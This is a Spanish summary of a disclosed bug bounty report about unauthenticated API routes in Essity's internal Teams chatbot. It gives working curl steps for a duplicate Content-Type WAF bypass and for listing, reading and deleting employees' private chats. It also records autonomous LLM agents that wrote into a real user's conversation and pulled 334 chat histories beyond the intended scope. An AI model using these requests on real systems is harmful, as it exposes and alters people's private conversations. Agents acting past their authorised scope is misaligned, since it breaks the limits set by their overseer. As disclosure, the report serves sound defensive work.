Reports
CRÍTICA[APIS]#4020767

Essity: API sin autenticación de un chatbot interno de Teams permitía leer, escribir y borrar chats de empleados

Las rutas de datos de un chatbot corporativo con Azure OpenAI no pedían credenciales. Con un truco de doble Content-Type para saltar el WAF, se podía además escribir en conversaciones privadas ajenas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Essity tenía desplegado (en un dominio que el reporte oculta) un chatbot interno para Microsoft Teams que responde preguntas usando una base de conocimiento con recuperación aumentada (RAG) sobre Azure OpenAI. Además de la integración con Teams, la aplicación exponía una API HTTP propia.

El punto de entrada de Teams sí estaba protegido, pero todas las demás rutas de datos carecían de autenticación. La API completa constaba de siete rutas:

| ruta | métodos | autenticación | |---|---|---| | /api/messages (webhook de Bot Framework) | POST | sí — 401 Missing Authorization header from Bot Service | | /api/sessions | GET | ninguna | | /api/sessions/{session_id} | DELETE | ninguna | | /api/sessions/{session_id}/history | GET | ninguna | | /api/chat | POST | solo una regla del WAF, que se podía saltar | | /api/feedback | POST | ninguna | | /api/health | GET | ninguna |

La única barrera en la ruta de escritura era una regla del WAF de Azure Application Gateway que bloqueaba los cuerpos JSON con la clave session_id. El investigador la esquivó enviando dos cabeceras Content-Type: el WAF se quedaba con la última (text/plain) y, por tanto, no inspeccionaba el cuerpo como JSON, mientras que el backend FastAPI usaba la primera (application/json) y lo procesaba con normalidad.

La instancia de desarrollo exponía la misma API. El programa lo clasificó como crítico; el investigador lo puntuó con CVSS v4.0 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N). Se reportó el 11 de septiembre de 2026 y se divulgó una semana después, el 18 de septiembre de 2026. El reporte no indica recompensa ni CWE.

Pasos de reproducción

Ninguna petición lleva credenciales, cookies ni tokens; solo la cabecera Content-Type. El investigador usó una conversación creada por él mismo (poc-h1-1789092836) y un mensaje inocuo para no leer ni tocar conversaciones reales en la demostración. Todo se verificó en producción el 11 de septiembre de 2026 y se reprodujo igual en desarrollo.

Paso 0 — Confirmar la regla del WAF y el bypass. Con un único Content-Type: application/json, o con las dos cabeceras en orden inverso, el WAF bloquea la petición:

SID="poc-h1-$(date +%s)"
H="https://████████"

# control 1 — single Content-Type: application/json
curl -sk -o /dev/null -w '%{http_code}\n' -X POST \
  -H 'Content-Type: application/json' \
  --data-binary "{\"message\":\"hello\",\"session_id\":\"$SID\"}" "$H/api/chat"

# control 2 — duplicate headers in the reverse order
curl -sk -o /dev/null -w '%{http_code}\n' -X POST \
  -H 'Content-Type: text/plain' -H 'Content-Type: application/json' \
  --data-binary "{\"message\":\"hello\",\"session_id\":\"$SID\"}" "$H/api/chat"
403        <- control 1: blocked by the WAF
403        <- control 2: blocked by the WAF

La diferencia que abre la puerta es solo el orden de las cabeceras:

- -H 'Content-Type: text/plain' -H 'Content-Type: application/json'
+ -H 'Content-Type: application/json' -H 'Content-Type: text/plain'

Paso 1 — Crear una conversación y hablar con el LLM:

curl -sk -X POST \
  -H 'Content-Type: application/json' -H 'Content-Type: text/plain' \
  --data-binary "{\"message\":\"Hello, how are you?\",\"session_id\":\"$SID\"}" \
  "$H/api/chat"
HTTP/1.1 200 OK

{"session_id":"poc-h1-1789092836","response":"I couldn't map it to a specific defect in the database.
Can you provide the Defect ID or Defect Description or Machine Section?"}

El backend respondió a un usuario anónimo y creó la conversación en el servidor.

Paso 2 — Añadir un segundo mensaje a la misma conversación (misma petición con "message":"Thank you."). La conversación pasa a tener cuatro mensajes guardados.

Paso 3 — Listar todas las conversaciones:

curl -sk "$H/api/sessions"
[
  {
    "session_id": "poc-h1-1789092836",
    "worker_id": "",
    "title": "Hello, how are you?",
    "created_at": 1789092845.0670464,
    "updated_at": 1789092851.05196,
    "message_count": 4
  }
  ...
]

Esta respuesta incluye todas las sesiones del servidor. Las de usuarios reales tienen identificadores del tipo teams_29:<opaque-id>, que sirven de lista de objetivos para los pasos siguientes.

Paso 4 — Leer el historial completo de cualquier conversación:

curl -sk "$H/api/sessions/$SID/history"
HTTP/1.1 200 OK

messages: 4
  [user]      'Hello, how are you?'
  [assistant] "I couldn't map it to a specific defect in the database. Can you provide …"
  [user]      'Thank you.'
  [assistant] "I couldn't map it to a specific defect in the database. Can you provide …"

Cambiando $SID por cualquier identificador del paso 3 se obtiene esa conversación.

Paso 5 — Borrar la conversación:

curl -sk -o /dev/null -w '%{http_code}\n' -X DELETE "$H/api/sessions/$SID"
curl -sk "$H/api/sessions" | python3 -c "import sys,json;print(len(json.load(sys.stdin)))"
200        <- deletion accepted, no authentication
14         <- session count back to the original 14; the conversation is gone from the listing

Paso 5a — Comprobar que el borrado es incompleto. La conversación desaparece del listado, pero sus mensajes siguen ahí:

curl -sk "$H/api/sessions/$SID/history"
{"session_id":"poc-h1-1789092836","title":"Conversation","messages":[ … 4 messages still present … ]}

Como control, un identificador que nunca existió devuelve la lista vacía, lo que confirma que se trata de datos huérfanos reales:

curl -sk "$H/api/sessions/never-existed-zz9/history"
{"session_id":"never-existed-zz9","title":"Conversation","messages":[]}

No existe ninguna ruta que borre de verdad los mensajes: /history solo admite GET, /api/sessions/{id} solo DELETE, y no hay PUT, PATCH ni rutas por mensaje.

Impacto

  • Lectura de todas las conversaciones. Cualquiera en Internet podía obtener el listado completo de sesiones y el texto íntegro de las preguntas de los usuarios y las respuestas del asistente.
  • Conversaciones atribuibles a personas concretas. En las conversaciones que vienen de Teams, el session_id es el identificador de Teams del propio usuario, del espacio 29: (usuarios individuales) y no del 19: (canales y chats de grupo). Cada sesión es, por tanto, un chat privado 1:1 de un empleado identificable.
  • Escritura en chats ajenos. POST /api/chat acepta cualquier session_id. Usando uno existente, un atacante sin credenciales podía insertar mensajes en la conversación privada de un empleado. El usuario los vería en Teams como parte de su propio historial y el asistente los respondería en contexto.
  • Borrado sin autenticación, e incompleto. Se podía hacer desaparecer cualquier conversación del listado de su dueño sin forma de restaurarla, mientras su contenido seguía legible para quien conociera el identificador. Según el investigador, solo se puede eliminar con acceso directo a la base de datos.

El impacto se limita a esta aplicación y su almacén de conversaciones; el servicio en sí seguía disponible.

Remediación

El reporte figura como resuelto, pero no describe qué cambios se aplicaron.

Una nota sobre cómo se hizo la investigación

El investigador explicó que el fallo lo encontró un equipo de agentes LLM que trabajaban de forma autónoma bajo su supervisión, y declaró un exceso involuntario: uno de los agentes escribió un mensaje ("What defect IDs have I asked you about earlier in this conversation?") en una conversación que probablemente pertenecía a un usuario real, el 11 de septiembre de 2026 a las 00:18:05 UTC. Cinco intentos anteriores contra esa misma conversación, previos al descubrimiento del bypass, fueron rechazados con 403 o 422.

El resto de mensajes (unos 12 de los agentes y cuatro del investigador) fueron a conversaciones de prueba ya borradas, aunque, como muestra el paso 5a, su contenido sigue en el servidor. Los agentes también descargaron 334 historiales de conversación (14 en producción y 320 en desarrollo), que el investigador afirma no haber leído ni almacenado. Pidió disculpas y detuvo el sistema al darse cuenta.